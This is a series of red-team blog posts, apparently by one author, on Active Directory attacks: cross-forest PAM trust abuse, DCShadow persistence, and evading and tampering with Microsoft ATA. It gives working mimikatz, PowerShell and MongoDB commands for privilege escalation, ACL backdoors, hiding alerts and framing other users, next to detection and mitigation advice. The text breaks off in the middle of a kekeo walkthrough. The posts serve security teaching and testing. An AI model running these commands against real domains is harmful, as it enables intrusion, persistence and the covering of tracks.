How NOT to use the PAM trust - Leveraging Shadow Principals for Cross Forest Attacks

I did a super interesting AD security assessment for a client recently. They are re-deploying their infrastructure and upgrading their forest(s) to Server 2016 Functional Level. There are so many interesting things which we did during the assessment but the most interesting for me was their attempt to establish Privileged Access Management (PAM) trust in an "interesting" way. It is a classic example of deploying something which sounds secure without actually understanding what it does. 

Microsoft introduced Privileged Access Management (PAM) with Server 2016. Among other things, it has very interesting features like -
- A bastion forest (Think the administrative forest in ESAE or the famous Red Forest)
- Shadow security principals
- Temporary group membership (Add a user to a group with time-to-live (TTL))

So what is PAM? 

PAM has been discussed in much detail here by Russel and here by Willem. Please read them for understanding what PAM has to offer. A quick explanation is below:

In a perfect world, PAM enables managing an existing production/user forest using a bastion forest which has a one-way PAM trust with the existing forest. The users in the bastion forest can be 'mapped' to privileges groups like Domain Admins and Enterprise Admins in the user forest without modifying any group memberships or ACLs. This is done by creating Shadow security principals in the bastion forest, which are mapped to SIDs for high privilege groups in the user forest and then add users from the admin forest as members of the shadow security principals.

Example

Let's have a look at an example. We have powershell.local as our user forest and bastion.local as the bastion or admin forest. What we want to do it to be able to manage powershell.local from bastion.local without modifying any group membership or ACLs on powershell.local.

A one way PAM trust can be established between the two forest using the commands below (taken from Petri article linked above) :
On user forest (powershell.local in our example) -

netdom trust powershell.local /Domain:bastion.local /Add /UserD:administrator@bastion.local /PasswordD:Password@123 /UserO:administrator@powershell.local /PasswordO:Password@123

netdom trust powershell.local /domain:bastion.local /ForestTransitive:Yes 

netdom trust powershell.local /domain:bastion.local /EnableSIDHistory:Yes 

netdom trust powershell.local /domain:bastion.local /EnablePIMTrust:Yes 

netdom trust powershell.local /domain:bastion.local /Quarantine:No

On bastion forest -

netdom trust bastion.local /domain:powershell.local /ForestTransitive:Yes

Shadow Principals reside in a special container 'CN=Shadow Principal Configuration' in the Configuration container on bastion forest. We can create Shadow security principals on bastion.local using the below PowerShell code:

# Get the SID for the Enterprise Admins group of the existing forest
$ShadowPrincipalSid = (Get-ADGroup -Identity 'Enterprise Admins' -Properties ObjectSID -Server powershell.local).ObjectSID

# Container location
$Container = 'CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=local'

# Create the Shadow principal - note the type
New-ADObject -Type msDS-ShadowPrincipal -Name "psforest-ShadowEnterpriseAdmin" -Path $Container -OtherAttributes @{'msDS-ShadowPrincipalSid'= $ShadowPrincipalSid}

In the above command we are mapping the SID of Enterprise Admins group of the user forest powershell.local to a Shadow security principal "psforest-ShadowEnterpriseAdmin". Please note that we can also map the shadow principal to a user in the user forest.

Shadow Principals reside in a special container 'CN=Shadow Principal Configuration,CN=Services' under the Configuration container on bastion forest. We can create Shadow security principals on bastion.local using the below PowerShell code:

# Add the DA of bastion forest to shadow principals thus providing Enterprise Admins privileges on existing forest
Set-ADObject -Identity "CN=psforest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=local" -Add @{'member'="CN=Administrator,CN=Users,DC=bastion,DC=local"} -Verbose

Now, it is possible to manage powershell.local forest from bastion.local without making any changes in the group memberships or ACLs on powershell.local.

This looks great! This takes away administrative overhead of managing groups and ACLs and reduces chances of lateral movement techniques like OverPTH, PTT and other credential relay techniques.

Now, there is something worth noticing about the above setup. To be able to use the shadow security principals, we had to allow SIDHistory in the PAM trust which means no SID Filtering. We will see in the next section how this can be dangerous if not configured properly.

The Misconfiguration

 

Let's get back to the scenario I saw during the assessment. The client enabled PAM and they were using a forest in production (not a separate bastion or admin forest) to manage other forest(s). The forest used to manage other forests was located at their headquarters and their forests for their sites across the country were managed using it. An applause for them to have separate forests for different locations :)

They were sold on the part that using PAM will protect the credential based attacks - no logon using credentials from the bastion forest to any other forest.

But, a PAM trust where you do not have an isolated bastion forest is disastrous. Why? Because in such a case if we compromise the bastion forest we get high privileges (Enterprise Admins or Domain Admins) in the other forest. And:
- There is no group membership (unlike Foreign Security Principals)
- No ACLs modification
- AFAIK, no other modification to look for in the forest which gets compromised!

Let's have a look at an example. Following is the setup in my lab (diagram built using draw.io):

defensiveps.local is the bastion forest and powershell.local is the user/production forest.

Abusing the PAM trust

Here is how to identify and approach abusing a PAM trust:

Enumeration

First, let's enumerate if our current forest has any PAM trust with any other forest, that is, if our current forest can access any other forest without worrying about SID Filtering.

Using the ADModule, we can simply run Get-ADTrust and look for a trust which has ForestTransitive set to True and SIDFilteringQuarantined set to False - this means that SID Filtering is disabled.

Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}

Powerview (dev branch), calculates the TrustAttributes for you but does not tell you if SID Filtering is enabled when used from the user/production forest.

On the other hand, if you want to enumerate if your current forest is managed by a bastion forest (Blue Teams take note), look for ForestTransitive set to True and SIDFilteringForestAware set to True. In this case, TrustAttributes is also a very good indicator. It is 0x00000400 (1024 in decimal) for PAM/PIM trust. Simplifying it, it is 1096 for PAM + External Trust + Forest Transitive.

In this case (when rum from the bastion forest), PowerView (dev) tells if PIM Trust is enabled.

Next, let's enumerate the shadow security principals, its members from the current (bastion) forest and privileges in the user/production forest. We can use the following command from the ActiveDirectory module:

Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl

 

As clear in the above screenshot, we can look for Shadow securtiy principals in the special container 'CN=Shadow Principal Configuration,CN=Services' under the Configuration container on bastion forest. Following properties are the most interesting ones:

- Name - Name of the shadow principal

- member - Members from the bastion forest which are mapped to the shadow principal. In our example, it is the Domain Administrator of defensiveps.local.

- msDS-ShadowPrincipalSid - The SID of the principal (user or group) in the user/prodcution forest whose privileges are assgined to the shadow security principal. In our example, it is the Enterpise Admins group in the user forest.

Using the shadow principals

Now, if we compromise the user listed in "member" above we can use the shadow principals. In our example, we need to compromise the Administrator user fo defensiveps.local forest and then we will have enterpirse admins privileges on powershell.local forest!

This is very interesting! We crossed the forest security boundary with ease :) Remember that we need not have group membership or ACL on the user forest.

With the privileges achieved using shadow principals above, we can access the user forest using RDP (explicit credentials of the bastion user required), WMI, PowerShell Remoting etc. Please note that if Kerberos AES Encryption is not enabled for the PAM trust, we need to add the machines of existing forest in WSMan TrustedHosts and use '-Authentication Negotiate' option with PowerShell remoting cmdlets.

UPDATE (23/04/2019): Please note that we can also use SIDHistory injection using mimikatz to abuse the PAM trust. I left it out because using a shadow principal looks more normal in the user forest then SIDHistory injection. But, since Riccardo pointed out that it will still be useful, please take a note of it!

Persistence

We can also use this for persistence. Please note that the persistence will be for the privileges on the user/prodcution forest and not the bastion forest itself. 

Once we have compromised the bastion forest, there are multiple ways we can use:

1. We can add a user to an existing shadow security principal container.

Set-ADObject -Identity "CN=psforest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=defensiveps,DC=local" -Add @{'member'="CN=lowpriv user,CN=Users,DC=defensiveps,DC=local"} -Verbose

Please note that in this case, if someone looks at the details of the 'lowprivuser', he/she would appear to be a part of the psforest-ShadowEnterpriseAdmin 'group'.

2. Better, we can modify the ACL of the shadow principal object. We can provide a user we control, Full Permission overt shadow principal object but the fun is always with minimal permissions. So, with only Read Members and Write Members permissions on the shadow principal object, we can add and remove princiapls at will from the shadow principals. Take a look at the below screenshot:

Now, we can add or remove users at will with the privileges of 'reportdbadmin' user. On top of that, by-default there are no logs for any changes to the ACL or 'membership' of a shadow principal :)

Is PAM trust bad? Should I stop using a bastion forest?  Why is Microsoft so evil? What is the meaning of life?

PAM trust is not bad, IF used wisely! You can use a bastion forest with PAM trust but please be careful. Learn from the setup we discussed just now. Do not use a regular forest (with users doing non-admin activities) as bastion forest. As Willem pointed out in his article, when you use the PAM trust you extended the security boundary of the user forest to include the bastion forest. Treat the bastion forest as a special case and you will be fine.

UPDATE: I forgot to link this: Microsoft provides guidance on providing access to the bastion forest using Microsoft Identity Management (MIM).

Detection

On the bastion host, as we already discussed, there are no logs by-default for modification of membership or ACL of shadow principals.

On the existing/production forest, the detection seems pretty easy. There will always be the Special Logon (4672), Logon (4624) and Logoff (4634) events when anyone uses principal from the bastion forest to access the existing forest. But the problem here is to detect an anomaly as the same logs will be there for actual operations as well. Unless, an adversary is using a new user or doing something very noisy, it may be difficult to detect her with only these entries.

I hope this post enocurages everyone to have another look at their forest trusts. As always, please leave feedback :)

DCShadow - Minimal permissions, Active Directory Deception, Shadowception and more

DCShadow is an awesome persistence technique introduced by Vincent and Benjamin at BluteHat IL and it can be executed with the help of mimikatz. 

In very simplified terms, DCShadow alters active directory schema (Configuration partition and SPN of the attacker machine) to mimic a domain controller. This "new" domain controller can then be used to push attributes (like SID History, Password History, SPNs etc.) and other data on domain objects for users, computers etc. Please visit dcshadow.com and above linked preso for more details. There are couple more interesting posts at ALSID blog and NOPSEC blog which are very useful in understanding DCShadow.

In this blog post, I make notes of some of the use cases of DCShadow and couple of experiments I did while using it. Please keep in mind that I am still playing with this technique :)

Executing DCShadow

Grab the latest build of mimikatz from its GitHub repo or Invoke-Mimikatz from Nishang. The attack must be executed from a domain joined machine and needs SYSTEM privileges on the machine and by-default, domain administrator (DA) privileges on the domain.

Please keep in mind that the SYSTEM requirement is for process context and not thread. I learnt this the hard way but thankfully, a very patient Vincent and the source code helped me out :)

So, here is how to use it:

1. Start mimikatz and use !processtoken (and not token::elevate - as it elevates a thread) to escalate to SYSTEM. Make sure to use !processtoken before opening another instance of mimikatz, This is the mimikatz instance where we will specify the target object and attributes to be modified.

2. Start another mimikatz with DA privileges. This is the instance which registers a DC and is used to "push" the attributes. 

We are now ready to use dcshadow. For example, use the below command from mimikatz running as SYSTEM to change userAccountControl value of a computer object. Mimikatz makes checks for validity of object and attributes which is awesome!

mimikatz # lsadump::dcshadow /object:ops-user19$ /attribute:userAccountControl /value:532480

To push the above attributes, run the below command from mimikatz running as DA.

mimikatz # lsadump::dcshadow /push

On the other mimikatz session, we can see the values are updated and RPC server is stopped.

Let's check the userAccountControl attribute of the computer object we modified.

PS C:\> ([adsisearcher]"(&(objectCategory=Computer)(name=ops-user19))").Findall().Properties.useraccountcontrol

Works like a charm with Invoke-Mimikatz as well.

 

Please keep in mind that even on a local machine with interactive access, Invoke-Mimikatz does not show the message of "RPC server started" until the push command is executed, probably because of output redirection issues.

DCShadow for Red Teams

Minimal permissions
DCShadow provides amazing persistence opportunities. Many well known ones as well as some new stuff, can be executed with it without leaving logs on the DC. While learning about it, I started wondering if there is a way to use DCShadow without DA privileges? Like most domain persistence methods, we do not need DA privileges all the time for DCShadow but only for setting it up. For using it later on, only a subset of permissions are required.

After spending much time reading MS documentations on MS-DRSR and MS-RPCE to understand the errors shown by mimikatz when not using DA and experimenting with permissions, I was able to segregate the permissions required for running DCShadow without having DA privileges!

What does that mean? That means, you need DA privileges just once to set up the required minimal permissions for user of your choice. That user can successfully run DCShadow against a specific object later on. What are the rights required?

Following (extended rights) for the domain object:
- DS-Install-Replica (Add/Remove Replica in Domain)
- DS-Replication-Manage-Topology (Manage Replication Topology)
- DS-Replication-Synchronize (Replication Synchornization)

We also need WriteProperty right on the computer object of machine which is used for attack (gets registered as a DC) to modify SPNs and the target object to modify attributes.

Lastly, CreateChild and DeleteChild permissions are required on the Sites object (and child objects) in the Configuration container to register and un-register a DC.

To automate modification of the objects, I give you Set-DCShadowPermissions.ps1 in Nishang, a PowerShell script which sets minimal permissions for executing DCShadow attack! Use the below command with DA privileges to set permissions for user "labuser" to modify permissions on computer object ops-user19 from the computer ops-user12. 

PS C:\> . C:\nishang\ActiveDirectory\Set-DCShadowPermissions.ps1
PS C:\> Set-DCShadowPermissions -FakeDC ops-user12 -Object "ops-user19" -Username labuser -Verbose

 

Now, the mimikatz command can be executed without DA privileges. Please note that the command output is same as when using DA (see the screenshots in the beginning of the post).

Neat isn't it! Append the -Remove parameter at the end of the above command for cleanup.

Note that logs (4662 for changes made to ACL of the domain object, 4742 for changes made to ACL of attacker's computer object and 4738 if the target is a user object)  are generated when you modify ACLs using Set-DCShadowPermissions but so is true for other methods required to persist with high privileges.

Once we have the permissions (or DA), we can use DCShadow for tons of interesting things. Let's have a look at some of them. Please note that I am going to use all of them without DA by modifying permissions using Set-DCShadowPermissions:

SIDHistory
Very useful, also mentioned in the DCShadow presentation. Set the SIDHistory of an account to a high privilege one like DA or EA group and we are all set for highest privileges without having to modify any Group Membership or ACL.

PS C:\> Set-DCShadowPermissions -FakeDC ops-user12 -Object helpdeskuser -Username labuser -Verbose

mimikatz # lsadump::dcshadow /object:helpdeskuser /attribute:SIDHistory /value:S-1-5-21-3270384115-3177237293-604223748-519

 
PrimaryGroupID
This too is from the preso. Change the primaryGroupID of an object to a high privileged one for higher privileges.

mimikatz # lsadump::dcshadow /object:helpdeskuser /attribute:primaryGroupID /value:519

There is a catch though, if this is used to change primaryGroupID of a user to a privileged group, that user may show up in listing of that group which is not really stealthy. Note that this listing in the group depends on the tool used for enumeration. For example, in the below screenshot, the user "helpdeskuser" shows up as a member of "Enterprise Admins" group when using net.exe (or Get-ADGroupMember from the activedirectory module) but not when using PowerView ;)

AdminSDHolder
Like the simpler attributes we modified above, it is possible to modify ACLs on objects using DCShadow by modifying the ntSecurityDescriptor attribute. This ability allows even more interesting stuff. For example, modifying AdminSDHolder ACL for persistence.

To use this, we need to read the existing SDDL on the AdminSDHolder container and add permissions for our user's SID. Quite similar to what I used in Set-RemoteWMI

PS C:\> (New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=offensiveps,DC=com")).psbase.ObjectSecurity.sddl

To add Full Control permission we can use permissions of the BA, DA or EA (highlighted in the above screenshot) and append our user's SID. The resulting below string needs to be added to the SDDL of AdminSDHolder.

(A;;CCDCLCSWRPWPLOCRSDRCWDWO;;;S-1-5-21-3270384115-3177237293-604223748-2111)

Use the below mimkatz command for DCShadow. Make sure you use the colon ":" for specifying values to parameters:

mimikatz # lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=offensiveps,DC=com /attribute:ntSecurityDescriptor /value:"O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;LCRPLORC;;;RU)(A;;CCDCLCSWRPWPLOCRRCWDWO;;;DA)(A;;CCDCLCSWRPWPLOCRRCWDWO;;;S-1-5-21-3270384115-3177237293-604223748-519)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;WD)(OA;CI;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;PS)(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;;RPWP;5805bc62-bdc9-4428-a5e2-856a0f4c185e;;S-1-5-32-561)(OA;;RPWP;6db69a1c-9422-11d1-aebd-0000f80367c1;;S-1-5-32-561)(OA;;RPWP;bf967a7f-0de6-11d0-a285-00aa003049e2;;CA)(A;;CCDCLCSWRPWPLOCRSDRCWDWO;;;S-1-5-21-3270384115-3177237293-604223748-2111)"

DCShadow using DCShadow - Shadowception

Similar to above, we can also push DCShadow permissions using DCShadow.I call it Shadowception Why? Because it is fun :P We just need to push permissions listed above while introducing Set-DCShadowPermissions. The permissions required are:

On Domain object: (OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;YourUserSID)(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;YourUserSID)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;YourUserSID)

On attacker computer object: (A;;WP;;;YourUserSID)

On attacker user object: (A;;WP;;;YourUserSID)

On the Sites object in Configuration container: (A;CI;CCDC;;;YourUserSID)

Use the below mimikatz commands to set DCShadow permissions which can be used only from a particular computer as a specific user against a specific object - all of them specified in the commands. Please do not get intimidated with long commands, I have used exactly the same method as for AdminSDHolder - Copy the existing SDDL and append your own.

lsadump::dcshadow /stack /object:DC=offensiveps,DC=com /attribute:ntSecurityDescriptor /value:"Existing SDDL + Permissions for YourUserSID"

lsadump::dcshadow /stack /object:ops-user12$ /attribute:ntSecurityDescriptor /value:"Existing SDDL + Permissions for YourUserSID"

lsadump::dcshadow /stack /object:helpdeskuser /attribute:ntSecurityDescriptor /value:"Existing SDDL + Permissions for YourUserSID"

lsadump::dcshadow /stack /object:CN=Sites,CN=Configuration,DC=offensiveps,DC=com /attribute:ntSecurityDescriptor /value:"Existing SDDL + Permissions for YourUserSID"

lsadump::dcshadow

This is sweet! Now, if we maintain access to the computer and the user specified above, it is possible to modify the attributes of the specified object without leaving logs.

Setting SPNs on Admin Accounts for Kerberoasting

As explained by Sean here, in this technique we force set SPNs for admin accounts for later Kerberoasting. Kerberoasting, those of you who are unaware, is an attack technique where TGS (Ticket Granting Service) is requested for a SPN, saved to the disk and then brute-forced offline for password of the target SPNs service account. Thus if we can set SPN for a privileged account, it is possible to brute-force its password in clear-text using kerberoasting. To set SPNs for privileged account, we need high privileges, hence this is a persistence technique. Below command can be used to set SPN of a DA account using DCShadow:

mimikatz # lsadump::dcshadow /object:tempda /attribute:servicePrincipalName /value:"DCReplication/DC"

In addition to the above discussed, you can find your own attack. For example, I have not discussed setting TrustedForDelegation and TrustedToAuthForDelegation :) Go through the list of All AD attributes and find more interesting ones - https://msdn.microsoft.com/en-us/library/ms675090(v=vs.85).aspx

Defense
For defense, see dcshadow.com and UnCoverDCShadow. And limit the number of DAs and usage of DA credentials across your enterprise ;) A very good reference is Securing Privileged Access Reference Material.

 

DCShadow for Blue Team Deception

For past couple of months, I have been working a lot on using Deception for defense. I am liking Active Directory Deception because of its efficacy in providing alerts and increasing (at least) time costs to an adversary. While I will leave the details for another post and/or talk, one thing difficult for me when forging objects which are interesting for an attacker is editing some of the attributes of an object. For example, it is not easy to forge a computer object to make it look like a DC object. Multiple attributes and services must be set before a computer object "appears" to be a DC. There are some workarounds but that calls for another post or as I said a talk. So, DCShadow helps with forging a domain controller which looks more real. Of course, there is a lot of scope for improvement but I really like how it open up opportunities for blue teams.

A quick example is this. Suppose we want to make a member computer object "ops-user12" a DC. We can use the following (make sure you either have DA privs or set permission using Set-DCShadow permissions):

mimikatz # lsadump::dcshadow /object:ops-user12$ /attribute:primaryGroupID /value:516

Push the above

mimikatz # lsadump::dcshadow /object:ops-user12$ /attribute:userAccountControl /value:532480

Push the above

mimikatz # lsadump::dcshadow /manualregister

Use the above from mimikatz instance running as DA or modified permissions. Now, if an adversary enumerates your domain, this is what it looks like:

And this holds true for most of the red team tools (like PowerView which uses the .NET class in above screenshot) and even most of the WMI classes for domain enumeration like Win32_NTDomain and ds_computer of the directory\ldap namespace.

 

But this is still very experimental. We can easily note missing attributes from the fake DC, although that can be set. The thing which concerns me right now is if this breaks any authentication requests or other legit functioality. Because when using the "push" option of DCShadow, the registration and unregistration takes place quickly but when we are doing it manually what if some legit authentication requests are directed to the fake DC? I am hoping to find an answer of that soon.

I wish this use of DCShadow for deception triggers a community effort on using AD objects for deception :)

Problems
Some of the problems you may face while using DCShadow:

Insufficient Privileges
ERROR kuhl_m_lsadump_dcshadow_force_sync_partition ; IDL_DRSReplicaAdd
DC=whatever,DC=com 0x80090322 (2148074274)

If you get an error like above, make sure that mimkatz is running as SYSTEM (use !processtoken). Please refer to Executing DCShadow section above. 

Permission Errors
If you see an error during registration like  "Unable to add object via ldap". Then make sure that  you are "pushing" with DA privileges from mimikatz or you have set proper permissions. 

In some cases, when unregistration fails (see the video!), you may have to cleanup the object created in the CN=Servers in the Configuration Container and/or SPNs of the computer object which is registered as Fake DC. To clear SPNs I am using this simple command from the activedirectorymodule.

PS C:\> Set-ADComputer -ServicePrincipalNames $null -Identity ops-user12

PS C:\> Set-ADComputer -ServicePrincipalNames @{Add="WSMAN/ops-user12","WSMAN/ops-user12.offensiveps.com","TERMSRV/OPS-USER12","TERMSRV/ops-user12.offensiveps.com","RestrictedKrbHost/OPS-USER12","HOST/OPS-USER12","RestrictedKrbHost/ops-user12.offensiveps.com","HOST/ops-user12.offensiveps.com"} -Identity ops-user12

Here is a video showing the above attacks and deception.

Hope you enjoyed the post!

Week of Evading Microsoft ATA - Day 5 - Attacking ATA, Closing thoughts and Microsoft's response

This is Day 5 of Week of Evading Microsoft ATA. The week has been split in the following days:

Day 1 - Introduction, detection and bypassing/avoiding Recon and Brute-force detection
Day 2 - Detection and bypass of overpass-the-hash and golden ticket

Day 3 - Bypasses/avoidance using more Kerberos attacks and attacks across trusts

Day 4 - Bypasses/avoidance by reducing conversation with the DC

Day 5 - Attacking ATA deployment, limitations of research and mitigation

Welcome to the last day of the Week of Evading ATA. We have seen how ATA can be bypassed and avoided during a security assessment. Today let's see how we can attack ATA deployment. We will also discuss limitations of the research against ATA, some closing thoughts and some general mitigation against AD attacks. 

Attacking ATA

Find ATA Installation

So how do we spot ATA? Before 1.8, it was possible to simply run banner grabbing against web services running on port 443 and look for "Microsoft Advanced Threat Analytics". An example PowerShell command for this:

PS C:\Users\labuser\Desktop> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};(New-Object Net.Webclient).DownloadString('https://IPAddr').Contains('Microsoft Advanced Threat Analytics')

But ATA 1.8 uses Single Sign-On and it is not possible to grab the banner without authenticatiob. But we are not out of options. We can simply look for certificate used by the ATA console. By default, ATA console uses a self-signed certificate issued to "ATACenter".

ATA uses local users and groups of the ATA Center, the ATA documentation suggests having three types of role groups ATA Administrators, ATA Users and ATA Viewers. If the target deployment uses the exact same group names as suggested, we should be able to enumerate ATA by enumerating local groups on machines in the domain using PowerView:

PS C:\Users\labuser\Desktop> Get-NetLocalGroup -ComputerName ata-center -GroupName "ATA Administrators"

Also, I am quite sure that smart folks out there (like from nmap or metasploit) will soon include ATA in their service identification.

Admin Access
Once we know that there is an ATA deployment in a domain we may try attacking it. There are a number of interesting things which can be done with it. If the ATA Center is the part of the target domain and we have escalated privileges to domain admin or have got local admin access to the Center, we can have much fun. ATA subscribes to the concept of "if its admin its game over". By default, all the members of the local administrators group (local admins, domain admins) on the ATA Center have administrative access to the ATA console. We can resolve alerts, add exclusions, enumerate honey tokens etc. with that access.

While this is nothing ground shattering, since ATA specifically targets domain dominance and lateral movement, having the ability to add exceptions for our IP, users and attacks is very useful.

Backend MongoDB

ATA Center uses MongoDB to store entities, entity profiles, Kerberos requests, suspicious activities and more. It listens only on localhost but needs no authentication to connect to! This means if we have administrative access to the ATA Center we can do very interesting things. Let's see two of them:

Tampering with alerts
Let's say we want to tamper with suspicious activities from our foothold user, say, labuser. Let's first look for SourceAccountId from the UniqueEntity collection for labuser. I am using RoboMongo for accessing the mongodb:

db.getCollection('UniqueEntity').find({"Name" : "lab user"})

Once we have the id of our account, let's have a look in the SuspiciousActivity collection for alerts for our user:

db.getCollection('SuspiciousActivity').find({"DetailsRecords.SourceAccountId" : "bf2a6a4f-03bb-4d79-a5a1-9eea52e726f1"})

Let's have a look at the latest suspicious activity for labuser:

An unusual protocol alert, most probably an overpass-the-hash, going by the time stamp and other details, this is the alert in the ATA console:

Now, we can simply lookup for id of another user, say termadmin, and replace that by editing the SourceAccountId for that particular alert in the SuspiciousActivity collection. Let's do it not only for labuser but other two user's in the above alert as well for the sake of demonstration:

Sweet, isn't it :D

We can do the same for Computers as well to "frame" some other computer for attacks like Malicious replication of directory services and so on.

Hiding the alerts
Let's say we simply want to hide an alert. Entries in the SuspiciousActivity collection has a proeprty called "IsVisible". Set it to false and the alert vanishes from the console. Let's go after the latest DCSync alert:

Let's look for "TitleKey" : "DirectoryServicesReplicationSuspiciousActivityTitle" in the SuspiciousActivity collection and edit the latest one to change "IsVisible" : true to "IsVisible" : false:

And the result is:

Nice! This helps us in covering tracks in a post-DA lateral movement scenario.

Of course, no surprise, we modified the database and the console displays the modified values. But as these are security alerts, having access to just one box - ATA Center - drastically reduces the security posture of the entire organisation.

Limitations of the research
Copy paste from my BlackHat slides:
- Focus of all the bypasses is on Anomaly based detections.
- Many behavior based detections could not be replicated in the lab and are more powerful and useful in a real environment.
- Behavior based detection may detect lateral movement even if the anomaly based detection is bypassed – use the avoidance techniques (Day 4) in such cases.

Evading ATA forever
What happens when the bypasses we discussed are fixed? We modify our methods and techniques. I have seen fellow red teamers using Golden ticket or Skeleton key just to brag about it in their reports. No matter how frustrating they are, we as good attackers need to focus on the goals of the assessment. Not only it helps in meeting those deadlines, it also helps in avoiding pesky detection mechanisms ;) For example, there is no need to go for DA if the goal of the assessment can be completed without it, stay focused!

Defences
More from my BlackHat slides:

- ATA even if can’t detect anomalies, provides interesting insight in the traffic exchanged with the         Domain Controller. Use that to detect the attackers. 

- Limit your DAs to login only to Domain Controllers. Remember prevention is better than cure. 

-Implement possible architectural changes suggested here: https://technet.microsoft.com/en-us/windows-server-docs/security/securing-privileged-access/securing-privileged-access

Microsoft's Response
Microsoft's ATA team is awesome! They contacted me (and MSRC contacted me as well) when my talk was scheduled and we worked together to address and understand each other. I always found them very open to the idea that researches like this actually make a product better. It was actually fun exchanging ideas with them!

That is all for the week of Avading Microsoft ATA. Hope you enjoyed it as much as I enjoyed writing it :) Please leave questions, feedback and comemnts :)

Week of Evading Microsoft ATA - Day 4 - Silver ticket, Kerberoast and SQL Servers

This is Day 4 of Week of Evading Microsoft ATA. The week has been split in the following days:

Day 1 - Introduction, detection and bypassing/avoiding Recon and Brute-force detection
Day 2 - Detection and bypass of overpass-the-hash and golden ticket

Day 3 - Bypasses/avoidance using more Kerberos attacks and attacks across trusts

Day 4 - Bypasses/avoidance by reducing conversation with the DC

Day 5 - Attacking ATA deployment, limitations of research and mitigation

Day 4 is dedicated to those attacks which need minimum and normal communication with the domain controller and thus ATA. That is, after bypassing ATA on first three days, today we will discuss how ATA can be avoided.

Silver Ticket

If get our hands on NTLM hash of a service account, it is possible to create a TGS (Ticket Granting Service) and present it to the service to get access. As we would be creating a TGS, there is no communication with DC. Read more about silver ticket attack in this post. Now, if we are not talking to the DC, ATA can't read the traffic and thus, there is no detection. As simple as that!

What intrigued me during testing was even if a silver ticket is used for a service running on the DC, ATA still won't detect it.  We can use the NTLM/RC4 hash of the DC's machine account for some very interesting services like CIFS, WMI, PowerShell Remoting. LDAP etc. Since we already have DA access on Day 2, the ability to create a silver ticket for the DC is a decent persistence mechanism.

Why a silver ticket is not detected even for the DC? I think ATA is currently interested only in authentication requests.

Kerberoast

Kerberoast attack involves requesting a TGS from the DC for a service, save the TGS (which is encrypted using the NTLM hash of the target service account) to a file and brute-force the NTLM hash. Read this and this article for more information.

The only communication with the DC is when the TGS is requested from the DC. The DC gets TGS requests all day and spotting an anomaly in such a regular request is, well, not easy.

Actually, there is a chance for detection based on anomaly. Remember the encryption type we discussed on Day 3? A TGS request with encryption type 0x17 (RC4) may be used as an indicator of a ticket request for Kerberoasting. How? Let's use the below code to request a TGS for a service:

PS C:\Users\labuser\Desktop>  Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/ops-sqlsrvone.offensiveps.com"

This is how it looks like in logs:

But there are many legit uses (legacy applications, service accounts, trusts etc.) which still use RC4, we can only hope that ATA starts detecting TGS requests using RC4 as malicious in a future release for those environments where AES is prevalent.

Kerberoast Variants

There are two Kerberoast variants which are helpful in active directory dominance.

AS-REP
Request a TGT for an account with Kerberos Pre-Authentication disabled (or force disable if we have sufficient rights), DC replies with TGT (AS-REP) which has a piece of information (emcrypted part) encrypted with the account's NTLM hash, save it to the disk and brute force offline. Please read this and this post for a detailed explanation.

ATA doesn't detect this. Is there any anomaly which can be seen? Yes!

After enumerating users with Pre-Auth disabled, send AS-REQ and receive AS-REP with encrypted part:

PS C:\Users\labuser\Desktop> Get-ASREPHash -UserName unixuser -Verbose

And this is how it looks like in Wireshark:

And this is how it is logged:

Hello RC4 we met again :)

As Will explains in this post, cracking AS-REP encrypted part which uses RC4 is much easier then the AES one so chances of an attacker using AES are not common. An anomaly, if ATA would like to spot it :)

Force SPN
If we have enough privileges, it is possible to set a user's SPN to anything, request a TGS for that made up SPN and then, brute-force the ticket offline.

Like in other TGS related attacks, a simple anomaly in this case could be use of RC4:

ATA doesn't detect it. ATA team commented that abnormal behaviour detection will catch this and AS-REP method when the brute-forced passwords are used to access a resource.

SQL Server

Targeting SQL servers and staying within the database server makes sure that there is no communication with the DC and therefore, avoids ATA. I wrote a post couple of months back on lateral movement within the database layer.

That is all for Day 4. Hope you enjoyed it!

Week of Evading Microsoft ATA - Day 3 - Constrained Delegation, Attacks across trusts, DCSync and DNSAdmins

Welcome to Day 3 of Week of Evading Microsoft ATA. The week has been split in the following days:

Day 1 - Introduction, detection and bypassing/avoiding Recon and Brute-force detection
Day 2 - Detection and bypass of overpass-the-hash and golden ticket

Day 3 - Bypasses/avoidance using more Kerberos attacks and attacks across trusts

Day 4 - Bypasses/avoidance by reducing conversation with the DC

Day 5 - Attacking ATA deployment, limitations of research and mitigation

On Day 3, Let's see some more Kerberos attacks which can be used to bypass ATA. Also, since we already escalated to DA on Day 2, we will also discuss attacks across domain trusts which are not detected by ATA.

Constrained Delegation
Constrained delegation allows access to a service by impersonating *any* user if the service account is configured so (msds-allowedtodelegateto). You can read more about this attack here, here and here. All of the three are fantastic posts, please go through them to understand the attack.

ATA doesn't detect this attack.Why? Read on.

If we abuse unconstrained delegation with the help of Kekeo:

Request a TGT:

PS C:\Users\labuser\Desktop\Kekeo>  .\asktgt.exe /user:termadmin /domain:offensiveps.com /key:2a758732e0f664f48a5747a9b12345ab /ticket:termadmin.kirbi

Request a TGS as Administrator using the above TGT:

